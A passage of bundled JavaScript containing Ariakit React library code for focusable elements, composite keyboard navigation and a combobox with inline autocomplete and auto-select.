38592 if (!focusable) return;
38593 addGlobalEventListener("mousedown", onGlobalMouseDown, true);
38594 addGlobalEventListener("keydown", onGlobalKeyDown, true);
38595 }, [focusable]);
38596 if (isSafariBrowser) {
38597 (0,external_React_.useEffect)(() => {
38598 if (!focusable) return;
38599 const element = ref.current;
38600 if (!element) return;
38601 if (!isNativeCheckboxOrRadio(element)) return;
38602 const labels = getLabels(element);
38603 if (!labels) return;
38604 const onMouseUp = () => queueMicrotask(() => element.focus());
38605 for (const label of labels) {
38606 label.addEventListener("mouseup", onMouseUp);
38607 }
38608 return () => {
38609 for (const label of labels) {
38610 label.removeEventListener("mouseup", onMouseUp);
38611 }
38612 };
38613 }, [focusable]);
38614 }
38615 const disabled = focusable && disabledFromProps(props);
38616 const trulyDisabled = !!disabled && !accessibleWhenDisabled;
38617 const [focusVisible, setFocusVisible] = (0,external_React_.useState)(false);
38618 (0,external_React_.useEffect)(() => {
38619 if (!focusable) return;
38620 if (trulyDisabled && focusVisible) {
38621 setFocusVisible(false);
38622 }
38623 }, [focusable, trulyDisabled, focusVisible]);
38624 (0,external_React_.useEffect)(() => {
38625 if (!focusable) return;
38626 if (!focusVisible) return;
38627 const element = ref.current;
38628 if (!element) return;
38629 if (typeof IntersectionObserver === "undefined") return;
38630 const observer = new IntersectionObserver(() => {
38631 if (!isFocusable(element)) {
38632 setFocusVisible(false);
38633 }
38634 });
38635 observer.observe(element);
38636 return () => observer.disconnect();
38637 }, [focusable, focusVisible]);
38638 const onKeyPressCapture = useDisableEvent(
38639 props.onKeyPressCapture,
38640 disabled
38641 );
38642 const onMouseDownCapture = useDisableEvent(
38643 props.onMouseDownCapture,
38644 disabled
38645 );
38646 const onClickCapture = useDisableEvent(props.onClickCapture, disabled);
38647 const onMouseDownProp = props.onMouseDown;
38648 const onMouseDown = useEvent((event) => {
38649 onMouseDownProp == null ? void 0 : onMouseDownProp(event);
38650 if (event.defaultPrevented) return;
38651 if (!focusable) return;
38652 const element = event.currentTarget;
38653 if (!isSafariBrowser) return;
38654 if (isPortalEvent(event)) return;
38655 if (!isButton(element) && !isNativeCheckboxOrRadio(element)) return;
38656 let receivedFocus = false;
38657 const onFocus = () => {
38658 receivedFocus = true;
38659 };
38660 const options = { capture: true, once: true };
38661 element.addEventListener("focusin", onFocus, options);
38662 const focusableContainer = getClosestFocusable(element.parentElement);
38663 markSafariFocusAncestor(focusableContainer, true);
38664 queueBeforeEvent(element, "mouseup", () => {
38665 element.removeEventListener("focusin", onFocus, true);
38666 markSafariFocusAncestor(focusableContainer, false);
38667 if (receivedFocus) return;
38668 focusIfNeeded(element);
38669 });
38670 });
38671 const handleFocusVisible = (event, currentTarget) => {
38672 if (currentTarget) {
38673 event.currentTarget = currentTarget;
38674 }
38675 if (!focusable) return;
38676 const element = event.currentTarget;
38677 if (!element) return;
38678 if (!hasFocus(element)) return;
38679 onFocusVisible == null ? void 0 : onFocusVisible(event);
38680 if (event.defaultPrevented) return;
38681 element.dataset.focusVisible = "true";
38682 setFocusVisible(true);
38683 };
38684 const onKeyDownCaptureProp = props.onKeyDownCapture;
38685 const onKeyDownCapture = useEvent((event) => {
38686 onKeyDownCaptureProp == null ? void 0 : onKeyDownCaptureProp(event);
38687 if (event.defaultPrevented) return;
38688 if (!focusable) return;
38689 if (focusVisible) return;
38690 if (event.metaKey) return;
38691 if (event.altKey) return;
38692 if (event.ctrlKey) return;
38693 if (!isSelfTarget(event)) return;
38694 const element = event.currentTarget;
38695 const applyFocusVisible = () => handleFocusVisible(event, element);
38696 queueBeforeEvent(element, "focusout", applyFocusVisible);
38697 });
38698 const onFocusCaptureProp = props.onFocusCapture;
38699 const onFocusCapture = useEvent((event) => {
38700 onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
38701 if (event.defaultPrevented) return;
38702 if (!focusable) return;
38703 if (!isSelfTarget(event)) {
38704 setFocusVisible(false);
38705 return;
38706 }
38707 const element = event.currentTarget;
38708 const applyFocusVisible = () => handleFocusVisible(event, element);
38709 if (isKeyboardModality || isAlwaysFocusVisible(event.target)) {
38710 queueBeforeEvent(event.target, "focusout", applyFocusVisible);
38711 } else {
38712 setFocusVisible(false);
38713 }
38714 });
38715 const onBlurProp = props.onBlur;
38716 const onBlur = useEvent((event) => {
38717 onBlurProp == null ? void 0 : onBlurProp(event);
38718 if (!focusable) return;
38719 if (!isFocusEventOutside(event)) return;
38720 setFocusVisible(false);
38721 });
38722 const autoFocusOnShow = (0,external_React_.useContext)(FocusableContext);
38723 const autoFocusRef = useEvent((element) => {
38724 if (!focusable) return;
38725 if (!autoFocus) return;
38726 if (!element) return;
38727 if (!autoFocusOnShow) return;
38728 queueMicrotask(() => {
38729 if (hasFocus(element)) return;
38730 if (!isFocusable(element)) return;
38731 element.focus();
38732 });
38733 });
38734 const tagName = useTagName(ref);
38735 const nativeTabbable = focusable && isNativeTabbable(tagName);
38736 const supportsDisabled = focusable && supportsDisabledAttribute(tagName);
38737 const styleProp = props.style;
38738 const style = (0,external_React_.useMemo)(() => {
38739 if (trulyDisabled) {
38740 return _3YLGPPWQ_spreadValues({ pointerEvents: "none" }, styleProp);
38741 }
38742 return styleProp;
38743 }, [trulyDisabled, styleProp]);
38744 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
38745 "data-focus-visible": focusable && focusVisible || void 0,
38746 "data-autofocus": autoFocus || void 0,
38747 "aria-disabled": disabled || void 0
38748 }, props), {
38749 ref: useMergeRefs(ref, autoFocusRef, props.ref),
38750 style,
38751 tabIndex: getTabIndex(
38752 focusable,
38753 trulyDisabled,
38754 nativeTabbable,
38755 supportsDisabled,
38756 props.tabIndex
38757 ),
38758 disabled: supportsDisabled && trulyDisabled ? true : void 0,
38759 // TODO: Test Focusable contentEditable.
38760 contentEditable: disabled ? void 0 : props.contentEditable,
38761 onKeyPressCapture,
38762 onClickCapture,
38763 onMouseDownCapture,
38764 onMouseDown,
38765 onKeyDownCapture,
38766 onFocusCapture,
38767 onBlur
38768 });
38769 return removeUndefinedValues(props);
38770 }
38771);
38772var Focusable = forwardRef2(function Focusable2(props) {
38773 const htmlProps = useFocusable(props);
38774 return createElement(LVA2YJMS_TagName, htmlProps);
38775});
38776
38777
38778
38779;// ./node_modules/@ariakit/react-core/esm/__chunks/ITI7HKP4.js
38780"use client";
38781
38782
38783
38784
38785
38786
38787
38788// src/composite/composite.tsx
38789
38790
38791
38792
38793
38794
38795
38796var ITI7HKP4_TagName = "div";
38797function isGrid(items) {
38798 return items.some((item) => !!item.rowId);
38799}
38800function isPrintableKey(event) {
38801 const target = event.target;
38802 if (target && !isTextField(target)) return false;
38803 return event.key.length === 1 && !event.ctrlKey && !event.metaKey;
38804}
38805function isModifierKey(event) {
38806 return event.key === "Shift" || event.key === "Control" || event.key === "Alt" || event.key === "Meta";
38807}
38808function useKeyboardEventProxy(store, onKeyboardEvent, previousElementRef) {
38809 return useEvent((event) => {
38810 var _a;
38811 onKeyboardEvent == null ? void 0 : onKeyboardEvent(event);
38812 if (event.defaultPrevented) return;
38813 if (event.isPropagationStopped()) return;
38814 if (!isSelfTarget(event)) return;
38815 if (isModifierKey(event)) return;
38816 if (isPrintableKey(event)) return;
38817 const state = store.getState();
38818 const activeElement = (_a = getEnabledItem(store, state.activeId)) == null ? void 0 : _a.element;
38819 if (!activeElement) return;
38820 const _b = event, { view } = _b, eventInit = __objRest(_b, ["view"]);
38821 const previousElement = previousElementRef == null ? void 0 : previousElementRef.current;
38822 if (activeElement !== previousElement) {
38823 activeElement.focus();
38824 }
38825 if (!fireKeyboardEvent(activeElement, event.type, eventInit)) {
38826 event.preventDefault();
38827 }
38828 if (event.currentTarget.contains(activeElement)) {
38829 event.stopPropagation();
38830 }
38831 });
38832}
38833function findFirstEnabledItemInTheLastRow(items) {
38834 return _5VQZOHHZ_findFirstEnabledItem(
38835 flatten2DArray(reverseArray(_5VQZOHHZ_groupItemsByRows(items)))
38836 );
38837}
38838function useScheduleFocus(store) {
38839 const [scheduled, setScheduled] = (0,external_React_.useState)(false);
38840 const schedule = (0,external_React_.useCallback)(() => setScheduled(true), []);
38841 const activeItem = store.useState(
38842 (state) => getEnabledItem(store, state.activeId)
38843 );
38844 (0,external_React_.useEffect)(() => {
38845 const activeElement = activeItem == null ? void 0 : activeItem.element;
38846 if (!scheduled) return;
38847 if (!activeElement) return;
38848 setScheduled(false);
38849 activeElement.focus({ preventScroll: true });
38850 }, [activeItem, scheduled]);
38851 return schedule;
38852}
38853var useComposite = createHook(
38854 function useComposite2(_a) {
38855 var _b = _a, {
38856 store,
38857 composite = true,
38858 focusOnMove = composite,
38859 moveOnKeyPress = true
38860 } = _b, props = __objRest(_b, [
38861 "store",
38862 "composite",
38863 "focusOnMove",
38864 "moveOnKeyPress"
38865 ]);
38866 const context = useCompositeProviderContext();
38867 store = store || context;
38868 invariant(
38869 store,
38870 false && 0
38871 );
38872 const ref = (0,external_React_.useRef)(null);
38873 const previousElementRef = (0,external_React_.useRef)(null);
38874 const scheduleFocus = useScheduleFocus(store);
38875 const moves = store.useState("moves");
38876 const [, setBaseElement] = useTransactionState(
38877 composite ? store.setBaseElement : null
38878 );
38879 (0,external_React_.useEffect)(() => {
38880 var _a2;
38881 if (!store) return;
38882 if (!moves) return;
38883 if (!composite) return;
38884 if (!focusOnMove) return;
38885 const { activeId: activeId2 } = store.getState();
38886 const itemElement = (_a2 = getEnabledItem(store, activeId2)) == null ? void 0 : _a2.element;
38887 if (!itemElement) return;
38888 focusIntoView(itemElement);
38889 }, [store, moves, composite, focusOnMove]);
38890 useSafeLayoutEffect(() => {
38891 if (!store) return;
38892 if (!moves) return;
38893 if (!composite) return;
38894 const { baseElement, activeId: activeId2 } = store.getState();
38895 const isSelfAcive = activeId2 === null;
38896 if (!isSelfAcive) return;
38897 if (!baseElement) return;
38898 const previousElement = previousElementRef.current;
38899 previousElementRef.current = null;
38900 if (previousElement) {
38901 fireBlurEvent(previousElement, { relatedTarget: baseElement });
38902 }
38903 if (!hasFocus(baseElement)) {
38904 baseElement.focus();
38905 }
38906 }, [store, moves, composite]);
38907 const activeId = store.useState("activeId");
38908 const virtualFocus = store.useState("virtualFocus");
38909 useSafeLayoutEffect(() => {
38910 var _a2;
38911 if (!store) return;
38912 if (!composite) return;
38913 if (!virtualFocus) return;
38914 const previousElement = previousElementRef.current;
38915 previousElementRef.current = null;
38916 if (!previousElement) return;
38917 const activeElement = (_a2 = getEnabledItem(store, activeId)) == null ? void 0 : _a2.element;
38918 const relatedTarget = activeElement || DTR5TSDJ_getActiveElement(previousElement);
38919 if (relatedTarget === previousElement) return;
38920 fireBlurEvent(previousElement, { relatedTarget });
38921 }, [store, activeId, virtualFocus, composite]);
38922 const onKeyDownCapture = useKeyboardEventProxy(
38923 store,
38924 props.onKeyDownCapture,
38925 previousElementRef
38926 );
38927 const onKeyUpCapture = useKeyboardEventProxy(
38928 store,
38929 props.onKeyUpCapture,
38930 previousElementRef
38931 );
38932 const onFocusCaptureProp = props.onFocusCapture;
38933 const onFocusCapture = useEvent((event) => {
38934 onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
38935 if (event.defaultPrevented) return;
38936 if (!store) return;
38937 const { virtualFocus: virtualFocus2 } = store.getState();
38938 if (!virtualFocus2) return;
38939 const previousActiveElement = event.relatedTarget;
38940 const isSilentlyFocused = silentlyFocused(event.currentTarget);
38941 if (isSelfTarget(event) && isSilentlyFocused) {
38942 event.stopPropagation();
38943 previousElementRef.current = previousActiveElement;
38944 }
38945 });
38946 const onFocusProp = props.onFocus;
38947 const onFocus = useEvent((event) => {
38948 onFocusProp == null ? void 0 : onFocusProp(event);
38949 if (event.defaultPrevented) return;
38950 if (!composite) return;
38951 if (!store) return;
38952 const { relatedTarget } = event;
38953 const { virtualFocus: virtualFocus2 } = store.getState();
38954 if (virtualFocus2) {
38955 if (isSelfTarget(event) && !isItem(store, relatedTarget)) {
38956 queueMicrotask(scheduleFocus);
38957 }
38958 } else if (isSelfTarget(event)) {
38959 store.setActiveId(null);
38960 }
38961 });
38962 const onBlurCaptureProp = props.onBlurCapture;
38963 const onBlurCapture = useEvent((event) => {
38964 var _a2;
38965 onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
38966 if (event.defaultPrevented) return;
38967 if (!store) return;
38968 const { virtualFocus: virtualFocus2, activeId: activeId2 } = store.getState();
38969 if (!virtualFocus2) return;
38970 const activeElement = (_a2 = getEnabledItem(store, activeId2)) == null ? void 0 : _a2.element;
38971 const nextActiveElement = event.relatedTarget;
38972 const nextActiveElementIsItem = isItem(store, nextActiveElement);
38973 const previousElement = previousElementRef.current;
38974 previousElementRef.current = null;
38975 if (isSelfTarget(event) && nextActiveElementIsItem) {
38976 if (nextActiveElement === activeElement) {
38977 if (previousElement && previousElement !== nextActiveElement) {
38978 fireBlurEvent(previousElement, event);
38979 }
38980 } else if (activeElement) {
38981 fireBlurEvent(activeElement, event);
38982 } else if (previousElement) {
38983 fireBlurEvent(previousElement, event);
38984 }
38985 event.stopPropagation();
38986 } else {
38987 const targetIsItem = isItem(store, event.target);
38988 if (!targetIsItem && activeElement) {
38989 fireBlurEvent(activeElement, event);
38990 }
38991 }
38992 });
38993 const onKeyDownProp = props.onKeyDown;
38994 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
38995 const onKeyDown = useEvent((event) => {
38996 var _a2;
38997 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
38998 if (event.defaultPrevented) return;
38999 if (!store) return;
39000 if (!isSelfTarget(event)) return;
39001 const { orientation, renderedItems, activeId: activeId2 } = store.getState();
39002 const activeItem = getEnabledItem(store, activeId2);
39003 if ((_a2 = activeItem == null ? void 0 : activeItem.element) == null ? void 0 : _a2.isConnected) return;
39004 const isVertical = orientation !== "horizontal";
39005 const isHorizontal = orientation !== "vertical";
39006 const grid = isGrid(renderedItems);
39007 const isHorizontalKey = event.key === "ArrowLeft" || event.key === "ArrowRight" || event.key === "Home" || event.key === "End";
39008 if (isHorizontalKey && isTextField(event.currentTarget)) return;
39009 const up = () => {
39010 if (grid) {
39011 const item = findFirstEnabledItemInTheLastRow(renderedItems);
39012 return item == null ? void 0 : item.id;
39013 }
39014 return store == null ? void 0 : store.last();
39015 };
39016 const keyMap = {
39017 ArrowUp: (grid || isVertical) && up,
39018 ArrowRight: (grid || isHorizontal) && store.first,
39019 ArrowDown: (grid || isVertical) && store.first,
39020 ArrowLeft: (grid || isHorizontal) && store.last,
39021 Home: store.first,
39022 End: store.last,
39023 PageUp: store.first,
39024 PageDown: store.last
39025 };
39026 const action = keyMap[event.key];
39027 if (action) {
39028 const id = action();
39029 if (id !== void 0) {
39030 if (!moveOnKeyPressProp(event)) return;
39031 event.preventDefault();
39032 store.move(id);
39033 }
39034 }
39035 });
39036 props = useWrapElement(
39037 props,
39038 (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CompositeContextProvider, { value: store, children: element }),
39039 [store]
39040 );
39041 const activeDescendant = store.useState((state) => {
39042 var _a2;
39043 if (!store) return;
39044 if (!composite) return;
39045 if (!state.virtualFocus) return;
39046 return (_a2 = getEnabledItem(store, state.activeId)) == null ? void 0 : _a2.id;
39047 });
39048 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
39049 "aria-activedescendant": activeDescendant
39050 }, props), {
39051 ref: useMergeRefs(ref, setBaseElement, props.ref),
39052 onKeyDownCapture,
39053 onKeyUpCapture,
39054 onFocusCapture,
39055 onFocus,
39056 onBlurCapture,
39057 onKeyDown
39058 });
39059 const focusable = store.useState(
39060 (state) => composite && (state.virtualFocus || state.activeId === null)
39061 );
39062 props = useFocusable(_3YLGPPWQ_spreadValues({ focusable }, props));
39063 return props;
39064 }
39065);
39066var Composite = forwardRef2(function Composite2(props) {
39067 const htmlProps = useComposite(props);
39068 return createElement(ITI7HKP4_TagName, htmlProps);
39069});
39070
39071
39072
39073;// ./node_modules/@ariakit/react-core/esm/combobox/combobox.js
39074"use client";
39075
39076
39077
39078
39079
39080
39081
39082
39083
39084
39085
39086
39087
39088
39089
39090
39091// src/combobox/combobox.tsx
39092
39093
39094
39095
39096
39097
39098var combobox_TagName = "input";
39099function isFirstItemAutoSelected(items, activeValue, autoSelect) {
39100 if (!autoSelect) return false;
39101 const firstItem = items.find((item) => !item.disabled && item.value);
39102 return (firstItem == null ? void 0 : firstItem.value) === activeValue;
39103}
39104function hasCompletionString(value, activeValue) {
39105 if (!activeValue) return false;
39106 if (value == null) return false;
39107 value = PBFD2E7P_normalizeString(value);
39108 return activeValue.length > value.length && activeValue.toLowerCase().indexOf(value.toLowerCase()) === 0;
39109}
39110function isInputEvent(event) {
39111 return event.type === "input";
39112}
39113function isAriaAutoCompleteValue(value) {
39114 return value === "inline" || value === "list" || value === "both" || value === "none";
39115}
39116function getDefaultAutoSelectId(items) {
39117 const item = items.find((item2) => {
39118 var _a;
39119 if (item2.disabled) return false;
39120 return ((_a = item2.element) == null ? void 0 : _a.getAttribute("role")) !== "tab";
39121 });
39122 return item == null ? void 0 : item.id;
39123}
39124var useCombobox = createHook(
39125 function useCombobox2(_a) {
39126 var _b = _a, {
39127 store,
39128 focusable = true,
39129 autoSelect: autoSelectProp = false,
39130 getAutoSelectId,
39131 setValueOnChange,
39132 showMinLength = 0,
39133 showOnChange,
39134 showOnMouseDown,
39135 showOnClick = showOnMouseDown,
39136 showOnKeyDown,
39137 showOnKeyPress = showOnKeyDown,
39138 blurActiveItemOnClick,
39139 setValueOnClick = true,
39140 moveOnKeyPress = true,
39141 autoComplete = "list"
39142 } = _b, props = __objRest(_b, [
39143 "store",
39144 "focusable",
39145 "autoSelect",
39146 "getAutoSelectId",
39147 "setValueOnChange",
39148 "showMinLength",
39149 "showOnChange",
39150 "showOnMouseDown",
39151 "showOnClick",
39152 "showOnKeyDown",
39153 "showOnKeyPress",
39154 "blurActiveItemOnClick",
39155 "setValueOnClick",
39156 "moveOnKeyPress",
39157 "autoComplete"
39158 ]);
39159 const context = useComboboxProviderContext();
39160 store = store || context;
39161 invariant(
39162 store,
39163 false && 0
39164 );
39165 const ref = (0,external_React_.useRef)(null);
39166 const [valueUpdated, forceValueUpdate] = useForceUpdate();
39167 const canAutoSelectRef = (0,external_React_.useRef)(false);
39168 const composingRef = (0,external_React_.useRef)(false);
39169 const autoSelect = store.useState(
39170 (state) => state.virtualFocus && autoSelectProp
39171 );
39172 const inline = autoComplete === "inline" || autoComplete === "both";
39173 const [canInline, setCanInline] = (0,external_React_.useState)(inline);
39174 useUpdateLayoutEffect(() => {
39175 if (!inline) return;
39176 setCanInline(true);
39177 }, [inline]);
39178 const storeValue = store.useState("value");
39179 const prevSelectedValueRef = (0,external_React_.useRef)();
39180 (0,external_React_.useEffect)(() => {
39181 return sync(store, ["selectedValue", "activeId"], (_, prev) => {
39182 prevSelectedValueRef.current = prev.selectedValue;
39183 });
39184 }, []);
39185 const inlineActiveValue = store.useState((state) => {
39186 var _a2;
39187 if (!inline) return;
39188 if (!canInline) return;
39189 if (state.activeValue && Array.isArray(state.selectedValue)) {
39190 if (state.selectedValue.includes(state.activeValue)) return;
39191 if ((_a2 = prevSelectedValueRef.current) == null ? void 0 : _a2.includes(state.activeValue)) return;
39192 }
39193 return state.activeValue;
39194 });
39195 const items = store.useState("renderedItems");
39196 const open = store.useState("open");
39197 const contentElement = store.useState("contentElement");
39198 const value = (0,external_React_.useMemo)(() => {
39199 if (!inline) return storeValue;
39200 if (!canInline) return storeValue;
39201 const firstItemAutoSelected = isFirstItemAutoSelected(
39202 items,
39203 inlineActiveValue,
39204 autoSelect
39205 );
39206 if (firstItemAutoSelected) {
39207 if (hasCompletionString(storeValue, inlineActiveValue)) {
39208 const slice = (inlineActiveValue == null ? void 0 : inlineActiveValue.slice(storeValue.length)) || "";
39209 return storeValue + slice;
39210 }
39211 return storeValue;
39212 }
39213 return inlineActiveValue || storeValue;
39214 }, [inline, canInline, items, inlineActiveValue, autoSelect, storeValue]);
39215 (0,external_React_.useEffect)(() => {
39216 const element = ref.current;
39217 if (!element) return;
39218 const onCompositeItemMove = () => setCanInline(true);
39219 element.addEventListener("combobox-item-move", onCompositeItemMove);
39220 return () => {
39221 element.removeEventListener("combobox-item-move", onCompositeItemMove);
39222 };
39223 }, []);
39224 (0,external_React_.useEffect)(() => {
39225 if (!inline) return;
39226 if (!canInline) return;
39227 if (!inlineActiveValue) return;
39228 const firstItemAutoSelected = isFirstItemAutoSelected(
39229 items,
39230 inlineActiveValue,
39231 autoSelect
39232 );
39233 if (!firstItemAutoSelected) return;
39234 if (!hasCompletionString(storeValue, inlineActiveValue)) return;
39235 let cleanup = PBFD2E7P_noop;
39236 queueMicrotask(() => {
39237 const element = ref.current;
39238 if (!element) return;
39239 const { start: prevStart, end: prevEnd } = getTextboxSelection(element);
39240 const nextStart = storeValue.length;
39241 const nextEnd = inlineActiveValue.length;
39242 setSelectionRange(element, nextStart, nextEnd);
39243 cleanup = () => {
39244 if (!hasFocus(element)) return;
39245 const { start, end } = getTextboxSelection(element);
39246 if (start !== nextStart) return;
39247 if (end !== nextEnd) return;
39248 setSelectionRange(element, prevStart, prevEnd);
39249 };
39250 });
39251 return () => cleanup();
39252 }, [
39253 valueUpdated,
39254 inline,
39255 canInline,
39256 inlineActiveValue,
39257 items,
39258 autoSelect,
39259 storeValue
39260 ]);
39261 const scrollingElementRef = (0,external_React_.useRef)(null);
39262 const getAutoSelectIdProp = useEvent(getAutoSelectId);
39263 const autoSelectIdRef = (0,external_React_.useRef)(null);
39264 (0,external_React_.useEffect)(() => {
39265 if (!open) return;
39266 if (!contentElement) return;
39267 const scrollingElement = getScrollingElement(contentElement);
39268 if (!scrollingElement) return;
39269 scrollingElementRef.current = scrollingElement;
39270 const onUserScroll = () => {
39271 canAutoSelectRef.current = false;
39272 };
39273 const onScroll = () => {
39274 if (!store) return;
39275 if (!canAutoSelectRef.current) return;
39276 const { activeId } = store.getState();
39277 if (activeId === null) return;
39278 if (activeId === autoSelectIdRef.current) return;
39279 canAutoSelectRef.current = false;
39280 };
39281 const options = { passive: true, capture: true };
39282 scrollingElement.addEventListener("wheel", onUserScroll, options);
39283 scrollingElement.addEventListener("touchmove", onUserScroll, options);
39284 scrollingElement.addEventListener("scroll", onScroll, options);
39285 return () => {
39286 scrollingElement.removeEventListener("wheel", onUserScroll, true);
39287 scrollingElement.removeEventListener("touchmove", onUserScroll, true);
39288 scrollingElement.removeEventListener("scroll", onScroll, true);
39289 };
39290 }, [open, contentElement, store]);
39291 useSafeLayoutEffect(() => {
39292 if (!storeValue) return;
39293 if (composingRef.current) return;
39294 canAutoSelectRef.current = true;
39295 }, [storeValue]);
39296 useSafeLayoutEffect(() => {
39297 if (autoSelect !== "always" && open) return;
39298 canAutoSelectRef.current = open;
39299 }, [autoSelect, open]);
39300 const resetValueOnSelect = store.useState("resetValueOnSelect");
39301 useUpdateEffect(() => {
39302 var _a2, _b2;
39303 const canAutoSelect = canAutoSelectRef.current;
39304 if (!store) return;
39305 if (!open) return;
39306 if (!canAutoSelect && !resetValueOnSelect) return;
39307 const { baseElement, contentElement: contentElement2, activeId } = store.getState();
39308 if (baseElement && !hasFocus(baseElement)) return;
39309 if (contentElement2 == null ? void 0 : contentElement2.hasAttribute("data-placing")) {
39310 const observer = new MutationObserver(forceValueUpdate);
39311 observer.observe(contentElement2, { attributeFilter: ["data-placing"] });
39312 return () => observer.disconnect();
39313 }
39314 if (autoSelect && canAutoSelect) {
39315 const userAutoSelectId = getAutoSelectIdProp(items);
39316 const autoSelectId = userAutoSelectId !== void 0 ? userAutoSelectId : (_a2 = getDefaultAutoSelectId(items)) != null ? _a2 : store.first();
39317 autoSelectIdRef.current = autoSelectId;
39318 store.move(autoSelectId != null ? autoSelectId : null);
39319 } else {
39320 const element = (_b2 = store.item(activeId || store.first())) == null ? void 0 : _b2.element;
39321 if (element && "scrollIntoView" in element) {
39322 element.scrollIntoView({ block: "nearest", inline: "nearest" });
39323 }
39324 }
39325 return;
39326 }, [
39327 store,
39328 open,
39329 valueUpdated,
39330 storeValue,
39331 autoSelect,
39332 resetValueOnSelect,
39333 getAutoSelectIdProp,
39334 items
39335 ]);
39336 (0,external_React_.useEffect)(() => {
39337 if (!inline) return;
39338 const combobox = ref.current;
39339 if (!combobox) return;
39340 const elements = [combobox, contentElement].filter(
39341 (value2) => !!value2
39342 );
39343 const onBlur2 = (event) => {
39344 if (elements.every((el) => isFocusEventOutside(event, el))) {
39345 store == null ? void 0 : store.setValue(value);
39346 }
39347 };
39348 for (const element of elements) {
39349 element.addEventListener("focusout", onBlur2);
39350 }
39351 return () => {
39352 for (const element of elements) {
39353 element.removeEventListener("focusout", onBlur2);
39354 }
39355 };
39356 }, [inline, contentElement, store, value]);
39357 const canShow = (event) => {
39358 const currentTarget = event.currentTarget;
39359 return currentTarget.value.length >= showMinLength;
39360 };
39361 const onChangeProp = props.onChange;
39362 const showOnChangeProp = useBooleanEvent(showOnChange != null ? showOnChange : canShow);
39363 const setValueOnChangeProp = useBooleanEvent(
39364 // If the combobox is combined with tags, the value will be set by the tag
39365 // input component.
39366 setValueOnChange != null ? setValueOnChange : !store.tag
39367 );
39368 const onChange = useEvent((event) => {
39369 onChangeProp == null ? void 0 : onChangeProp(event);
39370 if (event.defaultPrevented) return;
39371 if (!store) return;
39372 const currentTarget = event.currentTarget;
39373 const { value: value2, selectionStart, selectionEnd } = currentTarget;
39374 const nativeEvent = event.nativeEvent;
39375 canAutoSelectRef.current = true;
39376 if (isInputEvent(nativeEvent)) {
39377 if (nativeEvent.isComposing) {
39378 canAutoSelectRef.current = false;
39379 composingRef.current = true;
39380 }
39381 if (inline) {
39382 const textInserted = nativeEvent.inputType === "insertText" || nativeEvent.inputType === "insertCompositionText";
39383 const caretAtEnd = selectionStart === value2.length;
39384 setCanInline(textInserted && caretAtEnd);
39385 }
39386 }
39387 if (setValueOnChangeProp(event)) {
39388 const isSameValue = value2 === store.getState().value;
39389 store.setValue(value2);
39390 queueMicrotask(() => {
39391 setSelectionRange(currentTarget, selectionStart, selectionEnd);
39392 });
39393 if (inline && autoSelect && isSameValue) {
39394 forceValueUpdate();
39395 }
39396 }
39397 if (showOnChangeProp(event)) {
39398 store.show();
39399 }
39400 if (!autoSelect || !canAutoSelectRef.current) {
39401 store.setActiveId(null);
39402 }
39403 });
39404 const onCompositionEndProp = props.onCompositionEnd;
39405 const onCompositionEnd = useEvent((event) => {
39406 canAutoSelectRef.current = true;
39407 composingRef.current = false;
39408 onCompositionEndProp == null ? void 0 : onCompositionEndProp(event);
39409 if (event.defaultPrevented) return;
39410 if (!autoSelect) return;
39411 forceValueUpdate();
39412 });
39413 const onMouseDownProp = props.onMouseDown;
39414 const blurActiveItemOnClickProp = useBooleanEvent(
39415 blurActiveItemOnClick != null ? blurActiveItemOnClick : () => !!(store == null ? void 0 : store.getState().includesBaseElement)
39416 );
39417 const setValueOnClickProp = useBooleanEvent(setValueOnClick);
39418 const showOnClickProp = useBooleanEvent(showOnClick != null ? showOnClick : canShow);
39419 const onMouseDown = useEvent((event) => {
39420 onMouseDownProp == null ? void 0 : onMouseDownProp(event);
39421 if (event.defaultPrevented) return;
39422 if (event.button) return;
39423 if (event.ctrlKey) return;
39424 if (!store) return;
39425 if (blurActiveItemOnClickProp(event)) {
39426 store.setActiveId(null);
39427 }
39428 if (setValueOnClickProp(event)) {
39429 store.setValue(value);
39430 }
39431 if (showOnClickProp(event)) {
39432 queueBeforeEvent(event.currentTarget, "mouseup", store.show);
39433 }
39434 });
39435 const onKeyDownProp = props.onKeyDown;
39436 const showOnKeyPressProp = useBooleanEvent(showOnKeyPress != null ? showOnKeyPress : canShow);
39437 const onKeyDown = useEvent((event) => {
39438 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
39439 if (!event.repeat) {
39440 canAutoSelectRef.current = false;
39441 }
39442 if (event.defaultPrevented) return;
39443 if (event.ctrlKey) return;
39444 if (event.altKey) return;
39445 if (event.shiftKey) return;
39446 if (event.metaKey) return;
39447 if (!store) return;
39448 const { open: open2 } = store.getState();
39449 if (open2) return;
39450 if (event.key === "ArrowUp" || event.key === "ArrowDown") {
39451 if (showOnKeyPressProp(event)) {
39452 event.preventDefault();
39453 store.show();
39454 }
39455 }
39456 });
39457 const onBlurProp = props.onBlur;
39458 const onBlur = useEvent((event) => {
39459 canAutoSelectRef.current = false;
39460 onBlurProp == null ? void 0 : onBlurProp(event);
39461 if (event.defaultPrevented) return;
39462 });
39463 const id = useId(props.id);
39464 const ariaAutoComplete = isAriaAutoCompleteValue(autoComplete) ? autoComplete : void 0;
39465 const isActiveItem = store.useState((state) => state.activeId === null);
39466 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
39467 id,
39468 role: "combobox",
39469 "aria-autocomplete": ariaAutoComplete,
39470 "aria-haspopup": getPopupRole(contentElement, "listbox"),
39471 "aria-expanded": open,
39472 "aria-controls": contentElement == null ? void 0 : contentElement.id,
39473 "data-active-item": isActiveItem || void 0,
39474 value
39475 }, props), {
39476 ref: useMergeRefs(ref, props.ref),
39477 onChange,
39478 onCompositionEnd,
39479 onMouseDown,
39480 onKeyDown,
39481 onBlur
39482 });
39483 props = useComposite(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
39484 store,
39485 focusable
39486 }, props), {
39487 // Enable inline autocomplete when the user moves from the combobox input
39488 // to an item.
39489 moveOnKeyPress: (event) => {
39490 if (isFalsyBooleanCallback(moveOnKeyPress, event)) return false;
39491 if (inline) setCanInline(true);
39492 return true;
39493 }
39494 }));
